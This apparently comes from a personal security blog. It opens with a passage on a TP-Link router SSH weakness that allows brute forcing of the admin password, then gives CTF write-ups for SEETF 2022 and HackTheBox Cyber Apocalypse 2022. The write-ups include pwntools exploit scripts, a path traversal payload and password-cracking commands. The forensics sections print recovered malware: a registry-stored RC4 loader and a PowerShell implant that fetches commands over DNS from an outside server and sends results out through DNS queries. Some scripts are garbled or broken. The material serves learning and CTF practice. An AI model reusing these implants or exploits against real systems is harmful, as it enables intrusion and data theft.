Not only I got a hit in crackstation but also, the password “test123” was the same password that I had set to access to management interface when I first set up the router… Trying it out I was able to confirm that this password was accepted but no shell was given.

After some research I found that the dropbear service was not configured so that was the reason I was not getting a shell, but I also found that this service was only checking for the given password and completely ignoring the username. Testing it with Hydra I confirmed it.

TP-Link went to all the trouble of implementing a lock down of 2 hours in the web interface after 10 failed attempts to prevent brute force attacks and this vulnerability completely bypasses that security mechanism.

I have also done a sanity check, where I changed the password in the management interface and I was able to confirm that the hash in the dropbearpwd file changed accordingly. This means an attacker on the same network can use this service (that for some reason is exposed although not configured) to brute force the management interface password (available on 192.168.0.254) in order to get full control over the device.

Patch notes

TP-Link fixed this issue by locking the SSH service for 120 minutes after 10 failed attempts.

Although this patch kind of fix the issue, since the SSH service is not even being used (apparently… need to investigate more) I would have liked to see it removed instead, but that is just my humble opinion.

[CTF-Writeup] SEETF 2022

2022-06-05T00:00:00-07:00

PWN

4mats

For this challenge we were given an application and its source code (C program). Analysing the code I saw that it was vulnerable to format string since it was printing the user input directly when option 2 is selected

Another interesting thing is that if the variable set is equal to 4, and no valid option is selected, the app calls guess_me without generating a new fav_num (reusing the existing one)!

Launching the application and following the logic above to get me the flag.

So in order to exploit this vulnerability and get the flag, I had to use option 1 four times and then use option 2 once to exploit the format string vulnerability so I could get the fav_num in memory! Finally to get the flag I just needed to choose a random option (could not be neither 1 or 2… I choose 4 just because) so it would trigger a call to the gess_me function without generating a new number… Testing locally in GDB

The 7th value is the fav_num and what we want. Using that number and continuing I was successful (got an error with the cat command because I didn’t had the flag.txt file)

Good… now remotely

FLAG: SEE{4_f0r_4_f0rm4t5_0ebdc2b23c751d965866afe115f309ef}

wayyang

Looking at the python code it, I saw that it was accepting an input for option 4 and opening a file (with cat command). The only check that was being made was to the filename, where it would verify if the user input contained any character from the string “FLAG”, failing if it did.

Since the filename was being used in an “eval” function, it was possible to just run code in it, so I encoded the string “FLAG” in hex and then wrote a python line to decode it again

bytearray.fromhex("464c4147").decode()

running it against the server got me the flag

FLAG: SEE{wayyang_as_a_service_621331e420c46e29cfde50f66ad184cc}

Reverse

babyreeee

I was given an application for this challenge, so using children to decompile it, I saw that the application was getting the flag from the user input, comparing each character to a character in an array after an XOR operation… if it failed it would print the index where it failed. Which makes it easy to brute force…

I wrote a simple python script to do this.

#!/usr/bin/env python
from pwn import *

context.log_level = 'error'
flag="SEE{aaaaaaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaa}"
keep_going = True
current_error_index = 0
current_char = 33

while keep_going:
	p = process("./chall")
	p.recvuntil("Please enter the flag.")
	p.sendline(flag)
	line = str(p.recvall(), "utf-8)")
	if "Flag check failed at index" in line:
		error_index = int(line[-2:])
		if current_error_index != error_index:

		current_error_index = error_index
		current_char = 33		
		print("Current flag is: %s" % flag)
		
		try:
				flag = flag[:error_index] + chr(current_char) + flag[error_index+1:]
			
			cursor_index += 1
			current_char += 1
		except Exception as e:
			print("error! %s" %e)
		
		break
	
	  
	
	elif "Success! Go get your points, champ." in line:
		keep_going = False
		print(flag)
	  
	p.kill

Running it and I got the flag.

FLAG: SEE{0n3_5m411_573p_81d215e8b81ae10f1c08168207fba396}

Crypto

Close Enough

For this challenge I was given a cyphered text, a public key and python script that was used to encrypt the ciphered text.
Using RsaCtfTool.py I ran

RsaCtfTool.py --publickey key --private

This gave me the private key that was used.

Now with the private key I just parsed the cypher that was given in bytes (in the original code it was being parsed from bytes to long)

from Crypto.Util.number import long_to_bytes

cypher = 4881495507745813082308282986718149515999022572229780274224400469722585868147852608187509420010185039618775981404400401792885121498931245511345550975906095728230775307758109150488484338848321930294974674504775451613333664851564381516108124030753196722125755223318280818682830523620259537479611172718588812979116127220273108594966911232629219195957347063537672749158765130948724281974252007489981278474243333628204092770981850816536671234821284093955702677837464584916991535090769911997642606614464990834915992346639919961494157328623213393722370119570740146804362651976343633725091450303521253550650219753876236656017

cypher_bytes = long_to_bytes(cypher)

print(cypher_bytes.hex())

Finally using cyberchef

FLAG: SEE{i_love_really_secure_algorithms_b5c0b187fe309af0f4d35982fd961d7e}

Forensics

Sniffed Traffic

For this challenge I was given a network capture file and I was told that someone downloaded a file and I would need to find the contents of that file. So filtering in wireshark for **http

http2

file** and I got a zip file

I saved that file and tried to unzip it but it was password protected so tried using strings and grep to see if it was shared in a message… and it was! I got the password 49949ec89a41ed9bdd18c4ce74f37ae4

Unzipping it got me a file called stuff, that was just seen as “data”. Using bin walk I found it was indeed a zip file again.

Trying to unzip it and I found that it was yet another password protected zip… tried different password until I decided to just brute force it… First, I ran zip2john to get a hash file that I could use in John.

zip2john -m stuff > stuff.hash

and then

john --wordlist=/opt/SecLists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt  stuff.hash

password was “john”! Unzipping it and I got the flag.txt file!

FLAG: SEE{w1r35haRk_d0dod0_4c87be4cd5e37eb1e9a676e110fe59e3}

Misc

Regex101

Removed all “SEE{“ and “} from the original file and using a regex to get the flag which had the correct format! I used the regex ^([A-Z]{5})([0-9]{5})([A-Z]{6})

Angry Zeyu2001

Downloading the challenge and unzipping it, got me 1219 jpg files. It was obvious from the names that it was width.height.jpg

So I wrote a small script to put it all together.

import sys
import os
from PIL import Image

arr = os.listdir("pieces/")
images = [Image.open("pieces/" + x) for x in arr]
total_width = 700
max_height = 250


new_im = Image.new('RGB', (total_width, max_height))

  
for im in images:
	sizes = im.filename.split("/")[-1].split(".")
	new_im.paste(im, (int(sizes[0]), int(sizes[1])))

  
new_im.save('test.jpg')

The output of the script was a new JPG file with the flag

FLAG: SEE{boss_aint_too_happy_bout_me_9379c958d872435}

SmartContract

Bonjour

Followed the steps in the git page tutorial of this challenge, to setup the environment. Then I uploaded the contract from the challenge into remix IDE

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Bonjour {

  string public welcomeMessage;

  constructor() {
    welcomeMessage = "Bonjour";
  }

  function setWelcomeMessage(string memory _welcomeMessage) public {
    welcomeMessage = _welcomeMessage;
  }

  function isSolved() public view returns (bool) {
    return keccak256(abi.encodePacked("Welcome to SEETF")) == keccak256(abi.encodePacked(welcomeMessage));
  }
}

After a bit of time playing with it, I connected Remix to my MetaMask wallet and pasted the contract address that I initiated in the challenge server in order to load it and interact with it.

The contract was simple enough to read, just had to set the message value to “Welcome to SEETF” and the isSolved() function would return true. In remixIDE i set the message and then in the challenge server I just got the flag.

WEB

Sourceless Guessy Web

This challenge was an obvious path traversal vulnerability… so after a few tries, i used page=../../../../etc/passwd and got the flag.

[CTF-Writeup] Hackthebox Cyber Apocalypse 2022

2022-05-19T00:00:00-07:00

Reverse

WIDE

Opening the application with ghidra and starting from the main function. Following the code to the menu function it was easy to see that, if option 6 was selected a password was requested and the input compared with the string “sup3rs3cr3tw1d3”

Launching the application and following the logic above to get me the flag.

FLAG: HTB{str1ngs_4r3nt_4lw4ys_4sc11}

Omega-One

After downloading all files I got an executable and a text file with an output… I tried to run the application, but I got nothing so I fired up Ghidra. Analyzing the application I saw a function being called a lot, sometimes with the name of a “planets” and other times with a memory address to a place that had also “planet” name.

Inspecting on of those memory addresses and besides the planet name, I also had a character

Looking at the output file that was given, it was clear that it was the flag… I just needed to go through all the planets in this file and get the corresponding character. The result was:

Crerceon -              H
Ezains -                T
Ummuh -                 B
Zonnu -                 {
Vinzo -                 l
Cuzads -                1
Emoi (Emoiu) -          n
Ohols -                 3
Groz'ens -              4
Ukox (&DAT_00102234) -  r
Ehnu (DAT_00102269)-    _
Pheilons -              t
Cuzads -                1
Khehlan -               m 
Ohols -                 3
Ehnu -                  _
Munis -                 b
Inphas -                u 
Pheilons -              t
Ehnu -                  _
Dut (DAT_00102174) -    p              
Ukox -                  r
Ohols -                 3
Pheilons -              t
Pheilons -              t
Zimil -                 y
Ehnu -                  _
Honzor -                s
Vinzo -                 l
Ukteils -               0
Falnain -               w
Dhohmu -                !
Baadix -                }

FLAG - HTB{l1n34r_t1m3_but_pr3tty_sl0w!}

Rebuild

After downloading the challenge I started analyzing it with Ghidra. I started changing variable names accordingly to make it easier to keep track of things. For the input it was clear that I needed a 32 char input otherwise I would get an error message saying that the password length was incorrect.

Continuing debugging, there was an array called encrypted being cored with a key

I got both values and tried myself, but for some reason I got nothing! So I decided to run the app with GDB and set a breakpoint in asleep, that way I could get the xored values from memory since it would be stored in a register.

Started the application with 32 “A” chars as input and when the breakpoint was hit I got the first letter of the flag

0x48 -> H

Continuing until I hit the end of the execution and the result was

0x48 0x54 0x42 0x7b 0x68 0x31 0x64 0x31 0x6e 0x67 0x5f 0x31 0x6e 0x5f 0x63 0x30 0x6e 0x73 0x74 0x72 0x75 0x63 0x74 0x30 0x72 0x35 0x5f 0x31 0x6e 0x31 0x74 0x7d 

Wrote a simple script to get the flag from the hex output

encoded_flag = [0x48, 0x54, 0x42, 0x7b, 0x68, 0x31, 0x64, 0x31, 0x6e, 0x67, 0x5f, 0x31, 0x6e, 0x5f, 0x63, 0x30, 0x6e, 0x73, 0x74, 0x72, 0x75, 0x63, 0x74, 0x30, 0x72, 0x35, 0x5f, 0x31, 0x6e, 0x31, 0x74, 0x7d]
 
flag = ""
for c in encoded_flag:
	flag += chr(c)
	
print(flag)

FLAG: HTB{h1d1ng_1n_c0nstruct0r5_1n1t}

Snakecode

Downloaded the pyc file… using uncompyle6 i decompiled it back to py file

import marshal, types, time, zlib  
ll = types.FunctionType(marshal.loads(('YwEAAAABAAAABQAAAEMAAABzNAAAAHQAAGoBAHQCAGoDAHQEAGQBAIMBAGoFAHwAAGoGAGQCAIMB\nAIMBAIMBAHQHAIMAAIMCAFMoAwAAAE50BAAAAHpsaWJ0BgAAAGJhc2U2NCgIAAAAdAUAAAB0eXBl\nc3QMAAAARnVuY3Rpb25UeXBldAcAAABtYXJzaGFsdAUAAABsb2Fkc3QKAAAAX19pbXBvcnRfX3QK\nAAAAZGVjb21wcmVzc3QGAAAAZGVjb2RldAcAAABnbG9iYWxzKAEAAAB0AQAAAHMoAAAAACgAAAAA\ncwcAAAA8c3RkaW4+dAoAAABsb2FkTGFtYmRhAQAAAHQAAAAA\n').decode('base64')), globals())  
i0 = ll('eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5JFiXkp+bkajCB5kKL4+Mzcgvyikvh4DZAB\nCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGAC+nBJh\n')  
i1 = ll('eJxLZoACJiB2BuJiLiBRwsCQwsjQzMgQrAES9ythA5LJpUXFqcUajCB5kKL4+Mzcgvyikvh4DZAB\nCKKYHUjYFJekZObZlXCA2DmJuUkpiXaMEKMZGADEORJ1\n')  
f0 = ll('eJxLZmRgYABhJiB2BuJiXiBRw8CQxcCQwsjQzMgQrAGS8ssEEgwaIJUl7CAiMzc1v7QEIsAMJMoz\n8zTASkBEMUiJTXFJSmaeXQkHiJ2TmJuUkmgHVg5SAQBjWRD5\n')  
f1 = ll('eJxLZmRgYIBhZyAu5gISNQwMWQwMzQwMwRogcT8wWcIKJNJTS5IzIFxmIFGemacBpBjARDE7kLAp\nLknJzLMr4QCxcxJzk1IS7cDKQSoAvuUPJw==\n')  
f2 = ll('eJx1kL1uwkAQhOfOBsxPQZUmL+DOEnWUBghEQQbFIESVglUkY5ECX+lHoMz7Jrt7HCgSOWlGO/rm\n1tbtIwBBY1b9zdYYkEFlcRqiAQoWxaginDJhjcUBijNQy+O24jxgfzsHdTxOFB8DtoqPoK7HPcXn\ngCPFZ1BfcUGsdMA/lpc/fEqeUBq21Mp0L0rv/3grX/f5aELlbryVYzbXZnub7j42K5dcxslym7vu\nJby/zubrK1pMX9apPLOTraReqe9T3SlWd9ieakfl17OTb36OpFE/CDQDE5vHv7K/FKBNmA==\n')  
f3 = ll('eJxVj00KAjEMhV+b8Q9040IZT9C9WxHEvRvBC1iFUhhk2sUIIwgexLWn1KQzI9qSl/DlhaZHDSDj\nII4tR3ix1IBVyK1GXitImt/0l1JDSSih1rAZfIZyI4x9BRIkeKA8SLeF1Dl9clIHG+c9OakdZ35O\nT/o+yiciZI2Hgvpt702Pt925Nx/HFZwSGbIYqaL87FS5aKSIgi5JbZR/F1WTrkZmk4QByypE64p1\nap6X4g8LaaoZ3zFGfzFVE/UBTuovhA==\n')  
f4 = ll('eJw1zDsKgEAMBNCJilb2drZ7AEuxsbfxBOIHFFkWNqWdF3eyYJEXkgxZcwB/jazYkkdwUeAVCAcV\nW3F4MjTt7ISZyWVUS7KEsPtN7cW9e2ddLeKTIXk7gkSsSB91O/2g9uToLBELO0otH2W6Ez8=\n')  
f5 = ll('eJxdjr0OwjAMhM9J+as6M7HTF0AsiKV7F54ACJUKVaiSjOnEi2MbISQGf4rtu3OuMwBSBVfDFQdG\nBhzwMAgNMsER1s58+wJ3Hlm4Ai/z33YGE+A1IrNljnBBtiLYT1ZSf2sr6lMt19u+ZPYQkGDJqA0j\nycfap7+lBT/C2bveJ/UkEQ7KqByTGMbPKNQSpojiPMTEzqNKup2aKlnShramopJW5g2ipyUM\n')  
f6 = ll('eJxdjTEOglAQRB98iMbEKxhLbkBjaLSwsrHWBEUJCRKULTT5VFzc3W9nMS+zk93ZqwNS1UK1VQ17\nRQ0CVcQUsTvljO4vWjEmSIRP8A4PXn3MlHKOea4DlxyzWMsOjXUHK/bpVXb1TWy855kF2gN9SPo2\nDD9+At8Zdm4YZorNIFXTFTI335aPS1UWtie28QV3xx4p\n')  
f7 = ll('eJxtjz8LwjAQxV/S1mrRxcnZKat/qyAuOrv0E4ilIJRS2hsUCg7OfmcvubZTIe/97nKPcHkEADpd\nWPWPjYCGj0Kj0fjIfHwVqiWIbzxbJ6SHEleQ1yf8ocQHFLSJqgKN+nTYVUUEGndNCiRG8UY3M7F7\nabb7TrAS7AVrQSw4CDaCreBo7CfJPvdy/nZeummZuyY3bHBWh2ynmtJncXaRLLaJem6HaqGiVlMV\n6Zn+Azn/L1k=\n')  
f8 = ll('eJwljr0KAkEMhCf3o2hrIb7BlWIhFiKC1jYWViKHe+qKnHob0GKt7sVNcsV8ZDeTSc45gJ5oINqI\nwkkQgTvQAvRdgwmO0BK2xxl+uTUTxBwugUtxT8EZIiHKZ4o21dZE7FLRe4yD+nMLixlchvG+0KU7\nPxR6EVjhSVDoKazt86MqG6uasr5WrI3SucCNbJPEp685keIy576aqktThVs3r0kf48s8r4c9Ogaj\nL3SnIej8MrDz9aqLXJhPzwMNaURT4R/aUC0X\n')  
a1 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcWwNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBALI0C1U=\n')  
a2 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcWQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBALBMC00=\n')  
a3 = ll('eJw10EtLw0AUBeAzTWLqo74bML8gSyFdiotm40rEZF+kRyVtCGKmqzar/nHvHBDmfty5c+fBrB2A\niUVuUVkMG4MOnIARGIMJeAKm4BQ8Bc9UsfwcvABn/5VL8Aq81tINeAveKb/Hd47R4WDDTp5j7hEm\nR4fsoS4yu+7Vh1e8yEYu5V7WciffZCl/5UpW8l162cuF3Mq1fJSUY5uYhTZFRvfZF+EvfOCnU89X\ngdATGFLjafBs+2e1fJShY4jDomvcH1q4K9U=\n')  
a4 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcRQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBALCJC04=\n')  
a5 = ll('eJxNzTELwjAQBeCXS4r6TzKJP6DUgruLq0s1S7BKIRkqJP/dd3Hp8D4ex3H3NAA6xjEXJo2kAHeH\nalAF1aI6FINg8BIsZxTZdM5lM2/95i2PXCNBPBCvzeubLOR4yvp2bX6bS3P+LyppR/qUQ/wMea99\nnt6PMA26l/SKxQ/XGxky\n')  
a6 = ll('eJwlzLsKwkAQheF/L0afw2qr4AOENOnT2NpEgyDGENgtFHbfPTNrcT6G4cw8DHCQeMkgiWchw81T\nDMVSHMWTDdnytGTHu+Ea9G4MAkHPkxXaS9L1t/qrbtXlX1TiUehiml9rn046L9PnPk+99qJ+cewN\nxxM9\n')  
a7 = ll('eJwlzLEKwjAQxvF/rhF9jk6Zig8gXdy7uLq0FqFYRUiGFpJ39y4O34/j+O4eDjhovOaqia2S4e4p\njiKUhuLJjiw8hex5Cbdgd0NQCHaeROnOydZbda9+q+u/aMSjcolpXj59Otm8ju9pHnvrRfvS8AMM\nqhM6\n')  
a8 = ll('eJxLZmRgYABhJiB2BuJiPiBRw8CQwsgglsLEkM3EEKzBDBTyy2QFkplAzKABJkCaSkBEjgZcsJgd\nSNgUl6Rk5tmVcIDYOYm5SSmJdmDFIBUAVDAM/Q==\n')  
a9 = ll('eJxLZmRgYIBhZyAuZgESKYwMwRpMQIZfCUhcQQNIMGiAmGB+DoQPIorZgYRNcUlKZp5dCQeInZOY\nm5SSaAdWDFIBAK+VC0o=\n')  
m0 = ll('eJw1jTELwjAUhC9Jq/0VzhldBAfr4u7i6mYpFFSKCXRJp/7x3rsi5L5Avnsvrx0AS8PcmNQSGSg8\nDsWjBJQKS42nxwzMQSog09b/gsrs9AGP6LjhHr3tMfSn7TpH+yebfYtJHGXH7eknTpGAkPbEJeVu\n+F5V/Bw1Wpl0B7cCYGsZOw==\n')  
m1 = ll('eJw1zUEKAjEMBdCfdMQreIRuRwU3Mhv3bjzCDAOCitCAm7rqxU1+cZGX0v408wbAvy5e5eQYUAUm\nqAnNHdASvsJLhSVUBpryoPG6Km5ZfPaah/hBnXXf29jbsbdDjl0W2Tdd6IN+6JwdkLJ1zsWW+2vi\n/HOMRIklkJ38AF2QGOk=\n')  
m2 = ll('eJxNjj8LAjEMxV96fz+Fk0NHdT5c3F1cD5c7BEHlsAWXdrov7kuKICS/0LyXpFMP4JcnZrgSEUgM\nQXJIDVKLtcHokAWZKvsVUm0eGjr1rC3GCplBW/03Xpy2hM5bj4sXnjh7p4cUz30pO6+fiKouxtn6\ny8MehcH4MU7GtydgCB0xhDjfX8ey8mAzrYqyka18AW5IIKw=\n')  
  
def snake(w):  
    r = i0()  
    c = i1()  
    f0(w)  
    d = (0, 1)  
    p = [(5, 5)]  
    pl = 1  
    s = 0  
    l = None  
    while 1:  
        p, d, pl, l, s, w, c, r = m2(p, d, pl, l, s, w, c, r)  
        time.sleep(0.4)  
  
    return  
  
  
i1().wrapper(snake)

Running it and it was the snake game… it is fun but it wont help with the challenge.

I started a python2 (the application runs python2) shell and I loaded the initial variables that were marshelled at the beginning.

Then I imported dis, that will allow to disassemble the marshalled code. Using dis. Dis (variable), I went through all the variables to one of those gave me the flag

FLAG: HTB{SuP3r_S3CRt_Sn4k3c0d3}

Without a trace

After downloading the file, I opened up Ghidra and started analyzing it. Following the code I got to a check_password function

There was a ptrace, which is one of the most basic ways of preventing a program from being debugged in Linux, and given the challenge name…. well, I fired GDB and in order to bypass this I set

catch syscall ptrace

This would break when the syscall ptrace is executed. When it happened I used

set $rax=0
nexti

I had to repeat it once again

set $rax=0
nexti

and finally the flag appeared

FLAG: HTB{tr4c3_m3_up_b4_u_g0g0}

Teleport

After downloading all files, I started analyzing the application. Fired Ghidra and since the application was stripped, I search for the term “something wrong” which was the output of the program when I executed it, and saw that it was looping through an array

There were a lot of functions in it

each one was comparing a letter and if it was true, it was calling the method longjmp with a position number (index)

I started asking “could this be the letter of the flag and its position?”… Got all letters and their respective position

Putting it all together, I got the flag! FLAG: HTB{h0pp1ng_thru_th3_sp4c3_t1m3_c0nt1nuum!}

PWN

Entry point

Started by running the app and after a while I saw that it was just asking me for either a card scan or a password. So, checking with ghidra (changed variable names for clarity) made it easy to see that scanning the card wouldn’t do much because the if statement will compare “code” with a string, and the code hasn’t been changed after it’s been allocated, so I focused on the “check_pass” function…

This method is also simple to check once I had renamed some variables

It was reading 15 characters from the user input and comparing it with the first 15 char of the string “0nlyTh30r1g1n4lCr3wM3mb3r5C4nP455” and if it was equal it would quit! So this comparison had to fail! Using a random value got me the flag

FLAG: HTB{th3_g4t35_4r3_0p3n!}

Going deeper

Running the application with ltrace I saw that it was comparing the input username with the string DRAEGER15th30n34nd0nly4dm1n15tr4 but even with this, I was getting an error.

Firing up Ghidra and analyzing the application, I realized that because the variable used to store the user input was only 40 bytes and a total of 57 bytes were being stored in the read function.

Since it was using strcmp which will compare strings until it finds a NULL character I just needed to add \x00 The string that was being compared was 52 bytes, so If I filled the rest of the buffer with \x00 it would be enough so testing it locally I got the fake flag… so using the same code I tested it remotely to get the real flag

from pwn import *

offset = 53

p = process("./sp_going_deeper")
# p = remote("165.22.119.112", 30453)

shellcode = "\x00"

# exploit code
p.recvuntil(">>")
p.sendline("1")

p.recvuntil("Input:")

payload = "DRAEGER15th30n34nd0nly4dm1n15tr4t0R0fth15sp4c3cr4ft" + shellcode
info("Sending {0} bytes as payload ...".format(len(payload)))
p.sendline(payload)

line = str(p.recvall(), "utf-8)")
print(line)
p.kill

Another way I found to get the flag, was to simply send 53 “A” and trigger a buffer overflow with the last 4 bytes overwriting the param3

#!/usr/bin/env python
from pwn import *

offset = 53
p = process("./sp_going_deeper")
# p = remote("165.22.119.112", 30453)

shellcode = "\xef\xbe\x37\x13"
# exploit code
p.recvuntil(">>")
p.sendline("1")

p.recvuntil("Input:")

payload = "A"*offset + shellcode

info("Sending {0} bytes as payload ...".format(len(payload)))
p.sendline(payload)

line = str(p.recvall(), "utf-8)")
print(line)
p.kill

Testing it remotely

FLAG: HTB{n0_n33d_2_ch4ng3_m3ch5_wh3n_u_h4v3_fl0w_r3d1r3ct}

Forensics

Puppeter

Downloading all the windows event log files, i used a VM to make it easier to analyze.

I used a tool called chainsaw to analyze the log file with the command to log file with:

.\chainsaw.exe hunt .\Logs --rules  .\sigma_rules\ --mapping .\mapping_files\sigma-mapping.yml --full

A powershell script got tagged as suspicious. Digging into the logs i found that the ps1 script was in “Microsoft-Windows-PowerShell%4Operational.evtx”

Reading the script I found that there were 3 variables used to build the payload

stage1 - 0x99  0x85 0x93 0xaa  0xb3 0xe2 0xa6 0xb9 0xe5 0xa3 0xe2  0x8e 0xe1 0xb7 0x8e 0xa5 0xb9 0xe2 0x8e 0xb3
stage2 - 0xac 0xff xff 0xff 0xe2 0xb2 0xe0 0xa5 0xa2 0xa4 0xbb 0x8e 0xb7 0xe1 0x8e 0xe4 0xa5 0xe1 0xe1
stage3 = stage1 + reversed(stage2)

the stage3 variable I calculated it and was

stage3 = 0x99  0x85 0x93 0xaa  0xb3 0xe2 0xa6 0xb9 0xe5 0xa3 0xe2  0x8e 0xe1 0xb7 0x8e 0xa5 0xb9 0xe2 0x8e 0xb3
0xe1 0xe1 0xa5 0xe4 0x8e 0xe1 0xb7 0x8e 0xbb 0xa4 0xa2 0xa5 0xe0 0xb2 0xe2 0xff 0xff 0xff 0xac

Then stage3 was xored with 0xd1

so using cyberchef to get the flag

FLAG: HTB{b3whar3_0f_th3_b00t5_0f_just1c3…}

Golden persistence

Downloaded the NTUSER.DAT file and went to my windows VM. Using RegRipper rr.exe and analyzing the output file I was able to see an interesting powershell command

Using cyberchef I decoded the payload and got a powershell script that needed to be formatted first…

Every 3 points in a row is a point, every other point is nothing… so at the end I got

function encr {
param(
[Byte[]]$data,
[Byte[]]$key
)

[Byte[]]$buffer = New-Object Byte[] $dataLength
$dataCopyTo($buffer, 0)
[Byte[]]$s = New-Object Byte[] 256;
[Byte[]]$k = New-Object Byte[] 256;
for ($i = 0; $i -lt 256; $i++){
$s[$i] = [Byte]$i;
$k[$i] = $key[$i % $keyLength];
}

$j = 0;
for ($i = 0; $i -lt 256; $i++){
$j = ($j + $s[$i] + $k[$i]) % 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
}

$i = $j = 0;
for ($x = 0; $x -lt $bufferLength; $x++){
$i = ($i + 1) % 256;
$j = ($j + $s[$i]) % 256;
$temp = $s[$i];
$s[$i] = $s[$j];
$s[$j] = $temp;
[int]$t = ($s[$i] + $s[$j]) % 256;
$buffer[$x] = $buffer[$x] -bxor $s[$t];
}
return $buffer

}

function HexToBin {
param(
[Parameter(
Position=0,
Mandatory=$true,
ValueFromPipeline=$true)
]

[string]$s)

$return = @()

for ($i = 0; $i -lt $sLength ; $i += 2){
$return += [Byte]::Parse($sSubstring($i, 2), [System.Globalization.NumberStyles]::HexNumber)
}
Write-Output $return

}

[Byte[]]$key = $encGetBytes("Q0mmpr4B5rvZi3pS")
$encrypted1 = (Get-ItemProperty -Path HKCU:\SOFTWARE\ZYb78P4s)t3RBka5tL
$encrypted2 = (Get-ItemProperty -Path HKCU:\SOFTWARE\BjqAtIen)uLltjjW
$encrypted3 = (Get-ItemProperty -Path HKCU:\SOFTWARE\AppDataLow\t03A1Stq)uY4S39Da
$encrypted4 = (Get-ItemProperty -Path HKCU:\SOFTWARE\Google\Nv50zeG)Kb19fyhl
$encrypted5 = (Get-ItemProperty -Path HKCU:\AppEvents\Jx66ZG0O)jH54NW8C
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$enc = [SystemTextEncoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data $key
$DecryptedString = $encGetString($DecryptedBytes)
$DecryptedString|iex

The script is using registry properties to get its values for building the encrypted variable. Using a demo version of RegistryViewer, I opened the NTUSER.DAT and one by one i copied the values until it looked like this

[Byte[]]$key = $enc.GetBytes("Q0mmpr4B5rvZi3pS")
$encrypted1 = "F844A6035CF27CC4C90DFEAF579398BE6F7D5ED10270BD12A661DAD04191347559B82ED546015B07317000D8909939A4DA7953AED8B83C0FEE4EB6E120372F536BC5DC39"
$encrypted2 = "CC19F66A5F3B2E36C9B810FE7CC4D9CE342E8E00138A4F7F5CDD9EED9E09299DD7C6933CF4734E12A906FD9CE1CA57D445DB9CABF850529F5845083F34BA1"
$encrypted3 = "C08114AA67EB979D36DC3EFA0F62086B947F672BD8F966305A98EF93AA39076C3726B0EDEBFA10811A15F1CF1BEFC78AFC5E08AD8CACDB323F44B4D"
$encrypted4 = "D814EB4E244A153AF8FAA1121A5CCFD0FEAC8DD96A9B31CCF6C3E3E03C1E93626DF5B3E0B141467116CC08F92147F7A0BE0D95B0172A7F34922D6C236BC7DE54D8ACBFA70D1"
$encrypted5 = "84AB553E67C743BE696A0AC80C16E2B354C2AE7918EE08A0A3887875C83E44ACA7393F1C579EE41BCB7D336CAF8695266839907F47775F89C1F170562A6B0A01C0F3BC4CB"
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$encrypted = "$($encrypted1)$($encrypted2)$($encrypted3)$($encrypted4)$($encrypted5)"
$enc = [System.Text.Encoding]::ASCII
[Byte[]]$data = HexToBin $encrypted
$DecryptedBytes = encr $data $key
$DecryptedString = $enc.GetString($DecryptedBytes)
$DecryptedString

After this, i just ran the poweshell script and got the flag

FLAG: HTB{g0ld3n_F4ng_1s_n0t__st34lthy_3n0ugh}

Automation

Once I downloaded the pcap file, I used strings over and I saw a big base64 string… decoding it gave me a ps1 script

After decoding it i got

function Create-AesManagedObject($key, $IV) {

$aesManaged = New-Object "System.Security.Cryptography.AesManaged"
$aesManaged.Mode = [System.Security.Cryptography.CipherMode]::CBC
$aesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$aesManaged.BlockSize = 128
$aesManaged.KeySize = 256

if ($IV) {
if ($IV.getType().Name -eq "String") {
$aesManaged.IV = [System.Convert]::FromBase64String($IV)
}

else {
$aesManaged.IV = $IV
}

}

if ($key) {

if ($key.getType().Name -eq "String") {
$aesManaged.Key = [System.Convert]::FromBase64String($key)

}

else {
$aesManaged.Key = $key
}

}

$aesManaged
}

function Create-AesKey() {
$aesManaged = Create-AesManagedObject $key $IV
[System.Convert]::ToBase64String($aesManaged.Key)

}

function Encrypt-String($key, $unencryptedString) {
$bytes = [System.Text.Encoding]::UTF8.GetBytes($unencryptedString)
$aesManaged = Create-AesManagedObject $key
$encryptor = $aesManaged.CreateEncryptor()
$encryptedData = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length);
[byte[]] $fullData = $aesManaged.IV + $encryptedData
$aesManaged.Dispose()
[System.BitConverter]::ToString($fullData).replace("-","")

}

function Decrypt-String($key, $encryptedStringWithIV) {
$bytes = [System.Convert]::FromBase64String($encryptedStringWithIV)
$IV = $bytes[0..15]
$aesManaged = Create-AesManagedObject $key $IV
$decryptor = $aesManaged.CreateDecryptor();
$unencryptedData = $decryptor.TransformFinalBlock($bytes, 16, $bytes.Length - 16);
$aesManaged.Dispose()
[System.Text.Encoding]::UTF8.GetString($unencryptedData).Trim([char]0)
}

filter parts($query) { $t = $_; 0..[math]::floor($t.length / $query) | % { $t.substring($query * $_, [math]::min($query, $t.length - $query * $_)) }}
$key = "a1E4MUtycWswTmtrMHdqdg=="
$out = Resolve-DnsName -type TXT -DnsOnly windowsliveupdater.com -Server 147.182.172.189|Select-Object -Property Strings;
for ($num = 0 ; $num -le $out.Length-2; $num++){
$encryptedString = $out[$num].Strings[0]
$backToPlainText = Decrypt-String $key $encryptedString
$output = iex $backToPlainText;$pr = Encrypt-String $key $output|parts 32
Resolve-DnsName -type A -DnsOnly start.windowsliveupdater.com -Server 147.182.172.189
for ($ans = 0; $ans -lt $pr.length-1; $ans++){
$domain = -join($pr[$ans],".windowsliveupdater.com")
Resolve-DnsName -type A -DnsOnly $domain -Server 147.182.172.189
}

Resolve-DnsName -type A -DnsOnly end.windowsliveupdater.com -Server 147.182.172.189

}

